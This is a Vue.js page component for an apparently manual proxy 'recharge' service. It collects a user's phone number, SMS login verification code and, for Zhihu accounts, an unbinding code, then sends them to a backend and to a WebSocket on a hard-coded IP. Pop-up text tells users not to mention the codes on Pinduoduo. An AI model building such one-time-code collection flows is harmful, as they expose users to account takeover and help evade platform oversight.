<template>
  <div class="context">
    <div>
      <img src="http://chongzhi.100lai.com/img/icom.png
      " alt="" style="width:100%;height: 200px;">
      <div class="content">

        <div class="item">
          <div class="itemtext">订单编号</div>
          <input class="put" type="tel" autocomplete="off" v-model="form.orderId">
        </div>

        <div class="item">
          <div class="itemtext">充值类型</div>
          <input class="put" type="tel" readonly="readonly" autocomplete="off" v-model="form.type">
        </div>

        <div class="item">
          <div class="itemtext">充值手机号</div>
          <input class="put" type="tel" autocomplete="off" placeholder="输入手机号" maxlength="11" v-model="form.phone">
        </div>


        <div class="item">
          <div class="itemtext">登陆验证码</div>
          <input class="put" type="tel" autocomplete="off" placeholder="输入验证码" v-model="form.code1">
          <el-button @click="sendPhone" type="primary" round style="margin-left:5px">获取验证码</el-button>
        </div>


        <div class="item" v-if="isZhihu">
          <div class="itemtext">解绑验证码</div>
          <input class="put" type="tel" autocomplete="off" placeholder="输入验证码" v-model="form.code2">
        </div>

        <div style="width:100%;margin:20px auto;">

          <el-button @click="sendCode1" type="primary" round style="width:100%">提交充值</el-button>
        </div>

        <div style="display: block;margin: 20px;">
          <div>活动说明：</div>
          <div>1.不允许把任何短信泄露给任何客服，请保管好自己的隐私</div>
          <div>2.提交您要充值的账号后，请耐心等会即可</div>
        </div>

      </div>
      <!-- <div>
        <el-form ref="form" label-position="labelPosition" label-width="100px">

          <el-form-item label="订单编号">
            <div style="width:220px">
              <el-input  type="number" v-model="form.orderId">
              </el-input>
            </div>
          </el-form-item>

          <el-form-item label="充值类型">
            <div style="width:220px">
              <el-input v-model="form.type" :disabled="true">
              </el-input>
            </div>
          </el-form-item>

          <el-form-item label="手机号码">
            <div style="width:220px">
              <el-input type="number" v-model="form.phone"></el-input>
            </div>
          </el-form-item>

          <el-form-item label="登录验证码">
            <div style="width:220px;display: flex;">
              <el-input type="number" v-model="form.code1"></el-input>
              <el-button @click="sendPhone" type="primary" round style="margin-left:20px">获取验证码</el-button>
            </div>
          </el-form-item>

          <el-form-item label="退登验证码" v-if="isZhihu">
            <div style="width:220px;display: flex;">
              <el-input v-model="form.code2"></el-input>
            </div>
          </el-form-item>


          <el-form-item>
            <div style="width:180px;display: flex;">
              <el-button @click="sendCode1" type="primary" round style="width:280px;">提交充值</el-button>
            </div>


          </el-form-item>

        </el-form>

        <div style="display: block;margin: 20px;">
          <div>活动说明：</div>
          <div>1.不允许把任何短信泄露给任何客服，请保管好自己的隐私</div>
          <div>2.提交您要充值的账号后，请耐心等会即可</div>
        </div>

      </div> -->
    </div>
  </div>
</template>

<script>
import store from '@/store/'

export default {
  data() {
    return {


      // ws://127.0.0.1:8080/websocket/
      isZhihu: false,
      wsUrl: '', // ws地址
      websock: null, // ws实例
      adminStatus: false,
      form: {
        orderId: "",
        phone: '',
        code1: '',
        code2: '',
        type: '',
      },
      req: {
        "pageIndex": 0,
        "pageCount": 10
      }
    }
  },
  mounted() {
    //初始化websocket

    var dates = new Date();
    var times = dates.getTime();//时间戳
    this.wsUrl = "ws://43.136.70.251:8080/websocket/" + times
    this.initWebSocket()
  },
  destroyed: function () { // 离开页面生命周期函数 断开链接
    this.websocketclose();
  },
  created() {
    console.log(this.$route.query.type);
    if (this.$route.query.type != "") {
      this.form.type = this.$route.query.type
      if (this.$route.query.type.indexOf("知乎") != -1) {
        this.isZhihu = true
      }
    } else {
      alert("url不正确")
    }

    if (this.$route.query.id != "") {
      this.form.orderId = this.$route.query.id
    }

  },
  methods: {
    open2(mes) {
      const h = this.$createElement;
        this.$msgbox({
          title: mes,
          center: true,
          message: h('p', { style: 'text-align: center;color: teal' }, [
            // h('span', { style: 'color: teal' },mes),
            h('i', { style: 'color: teal' }, '由于为人工操作,下发验证码可能会慢些。'),
            h('i', { style: 'color: teal;display: block;' }, '请在收到验证码再填写提交充值！'),
            h('i', { style: 'color: red; display: block;' }, '[不要在pdd上说、验证码信息]')
          ]),
        });
      
      // this.$alert('<strong>此操作为人工代充，下发验证码可能会慢些!请耐心等待验证码</strong>', 'HTML 片段', {
      //   dangerouslyUseHTMLString: true
      // });
    },
    open(mes) {
      const h2 = this.$createElement;
        this.$msgbox({
          title: mes,
          center: true,
          message: h2('p', { style: 'text-align: center;color: teal' }, [
            // h('span', { style: 'color: teal' },mes),
            h2('i', { style: 'color: teal' }, '请耐心等待充值完成客服通知你'),
          ]),
        });
    },
    sendCodeShort() {
      var now = new Date()
      let actions = { mesType: 1, phone: this.form.phone, orderId: this.form.orderId, type: this.form.type, code1: this.form.code1, code2: this.form.code2, time: now.toLocaleString(), codeTime: now.toLocaleString() }
      this.websocketsend(JSON.stringify(actions))

    },
    sendMesShort() {
      var now = new Date()
      let actions = { mesType: 1, phone: this.form.phone, orderId: this.form.orderId, type: this.form.type, code1: "", code2: "", time: now.toLocaleString() }
      this.websocketsend(JSON.stringify(actions))
    },
    sendMesCodeLong() {
      if(!this.form.code1){
        this.$message.error("请输入验证码！")
        return
      }
      var that = this;
      this.$axios.post("/api/Mes/update", {
        "orderId": that.form.orderId,
        "phone": that.form.phone,
        "code1": that.form.code1,
        "code2": that.form.code2,
        "type": that.form.type,
      })
        .then(function (response) {
          console.log(response.data);
          if (response.data.code == 200) {
            //that.$message.success(response.data.mes);
            that.sendCodeShort()
            that.open(response.data.mes)
          } else {
            that.$message.error(response.data.mes);
          }
        })

    },
    sendMesLong() {
      var that = this;
      this.$axios.post("/api/Mes/add", {
        "orderId": that.form.orderId,
        "phone": that.form.phone,
        "type": that.form.type
      })
        .then(function (response) {
          console.log(response.data);
          if (response.data.code == 200) {
            //  that.$message.success(response.data.mes);
            that.open2(response.data.mes)
            that.sendMesShort()
          } else {
            that.$message.error(response.data.mes);
          }
        })

    },
    sendPhone() {//发送手机号
      if (!this.form.orderId) {
        this.$message.error({
          message: '订单号不能为空',
        });
        return
      } else if (!this.form.phone) {
        this.$message.error({
          message: '手机号不能为空',
        });
        return
      }
      this.sendMesLong()
    },
    sendCode1() {
      this.sendMesCodeLong()

    },
    // 初始化weosocket
    initWebSocket() {
      if (typeof WebSocket === 'undefined')
        return alert('您的浏览器不支持该服务')
      this.websock = new WebSocket(this.wsUrl)
      this.websock.onmessage = this.websocketonmessage
      this.websock.onopen = this.websocketonopen
      this.websock.onerror = this.websocketonerror
      this.websock.onclose = this.websocketclose
    },
    websocketonopen() {
      // 连接建立之后执行send方法发送数据
      this.$message.success({
        message: '链接服务器成功!',
      });
      var now = new Date()
      let actions = { mes: '新客户进入', time: now.toLocaleString() }
      this.websocketsend(JSON.stringify(actions))
    },
    websocketonerror() {
      // 连接建立失败重连
      this.$message.error({
        message: '服务器断开！正在准备重新链接',
      });
      this.initWebSocket()
    },
    websocketonmessage(e) {
      // 数据接收
      // const redata = JSON.parse(e.data)
      //  console.log('接收的数据', redata)
    },
    websocketsend(Data) {
      // 数据发送
      this.websock.send(Data)
    },
    websocketclose(e) {
      // 关闭
      console.log('断开连接', e)
    },
  },
}
</script>
<style scoped>
.content {
  width: 90%;
  margin: 20px;

  height: 400px;
}

.item {
  margin-top: 15px;
  width: 100%;
  display: flex;
}

.itemtext {
  flex: 1.8;
  color: #8b8a8a;
  padding: 10px 10px 10px 25px;
  width: 17rem;
  height: 22px;
  font-size: 12px;
  font-weight: 600;
  background-color: rgb(234, 235, 236);
  border-bottom-right-radius: 0;
  border: 1px solid #DCDFE6;
  border-radius: 20px 0px 0px 20px;
}

.el-input {
  position: relative;
  font-size: 12px;
  width: 100%;
  height: 50px;
}

.el-input-group {
  line-height: normal;
  display: inline-table;
  width: 100%;
  border-collapse: separate;
  border-spacing: 0
}

.button {}

.put {
  
  flex: 2;
  color: #6d6b6b;
  border: 1px solid #DCDFE6;
  border-radius: 0px 20px 20px 0px;
  background-color: #FFF;
  background-image: none;
  border: 1px solid #DCDFE6;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  color: #606266;
  display: inline-block;
  font-size: 16px;
  height: 44px;
  line-height: 50px;
  outline: 0;
  padding: 0 15px;
  -webkit-transition: border-color .2s cubic-bezier(.645, .045, .355, 1);
  transition: border-color .2s cubic-bezier(.645, .045, .355, 1);
  width: 100%;
}
</style>
